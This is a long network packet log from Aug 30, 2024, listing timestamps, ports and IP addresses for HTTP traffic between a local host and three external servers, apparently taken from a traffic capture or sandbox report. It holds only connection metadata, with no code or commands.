Aug 30, 2024 03:17:07.034698963 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034722090 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.049962044 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.049972057 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.049978018 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050040960 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050045967 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050051928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050056934 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050147057 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050193071 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050229073 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050240040 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050271034 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050339937 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050349951 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050359964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050373077 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050374985 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050398111 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050422907 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050432920 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050443888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050472021 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050484896 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050508976 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050569057 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050580978 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050595999 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050606966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050611973 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050627947 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050628901 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050642967 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050664902 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050668955 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050681114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050690889 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050703049 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050717115 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050723076 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050733089 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050735950 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050759077 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050769091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050770998 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050781012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.050805092 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.050817013 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.051326990 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051337004 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051347971 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051359892 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051377058 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.051398039 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051400900 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.051434040 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.051440001 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051455975 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051465988 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051476002 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051491022 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.051520109 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051521063 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.051546097 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051557064 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051572084 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051587105 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051589966 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051598072 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051611900 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051620007 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051632881 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051636934 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051659107 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051681995 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051690102 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051698923 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051707983 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051731110 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051736116 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051743031 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051743984 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051752090 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051764011 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051774025 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051784039 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051798105 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051811934 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051815033 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051831961 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051836014 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051842928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051850080 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051851988 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051867962 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051887989 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.051894903 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.051923037 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051933050 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051942110 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.051951885 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051961899 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.051963091 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051974058 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.051989079 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.051990032 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.052007914 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052040100 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.052051067 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.052061081 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.052069902 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.052079916 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052088022 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.052099943 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.052103043 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052118063 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052126884 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052129030 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052143097 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052160025 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052175045 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052186012 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052195072 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052205086 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052210093 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052216053 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052227020 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052234888 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052241087 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052259922 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052270889 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052272081 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052280903 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052289963 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052305937 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052328110 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052361012 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052371025 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052381039 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052392006 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052397966 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052402973 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052419901 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052428007 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052459955 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052470922 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052485943 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052496910 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052498102 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052503109 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052509069 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052519083 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052531958 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052539110 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052541971 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052572012 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052592993 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052608967 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052619934 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052629948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052635908 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052648067 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052673101 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052728891 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052738905 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052748919 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052761078 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052771091 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052772999 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052783012 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052793026 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052794933 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052809954 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052836895 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052865982 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052877903 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052887917 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052900076 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052910089 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052922964 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052948952 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.052984953 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.052995920 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053004980 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053016901 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053029060 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053052902 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053062916 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053072929 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053082943 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053093910 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053103924 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053105116 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053113937 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053128958 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053138018 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053141117 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053164005 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053199053 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053208113 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053216934 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053226948 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053236961 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053242922 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053251028 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053280115 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053319931 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053332090 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053342104 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053352118 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053361893 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053363085 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053375006 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053385019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053389072 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053390980 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053417921 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053452969 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053472996 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053488970 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053493023 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053498983 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053509951 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053515911 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053519964 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053529978 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053533077 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053539991 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053550005 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053556919 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053570032 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053586006 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053618908 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053630114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053638935 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053648949 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053658962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053670883 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053689003 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053698063 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053790092 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053802013 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053812027 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053822041 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053832054 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053838015 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053843975 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053854942 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053855896 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053868055 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.053877115 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053888083 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053894997 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053909063 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.053910971 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053916931 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053920984 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053932905 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053937912 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053941965 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053953886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053963900 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053980112 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053982019 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.053992033 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.053999901 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054003000 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054014921 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054020882 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054025888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054037094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054044962 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054064035 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054080963 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054172039 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054183006 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054193974 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054202080 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054213047 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054218054 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054224968 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054235935 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054241896 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054266930 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054307938 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054318905 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054328918 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054339886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054352045 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054358959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054372072 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054373980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054387093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054394007 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054397106 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054409027 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054414988 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054421902 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054430962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054431915 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054459095 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054466009 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054507971 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054519892 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054554939 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054588079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054606915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054616928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054629087 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054641962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054645061 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054653883 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054657936 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054665089 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054676056 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054697037 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054702044 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054709911 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054721117 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054738045 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054747105 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054749012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054753065 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054760933 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054773092 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054779053 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054797888 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054800987 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054817915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054820061 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054831028 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054843903 CEST	49736	80	192.168.2.4	154.216.17.134
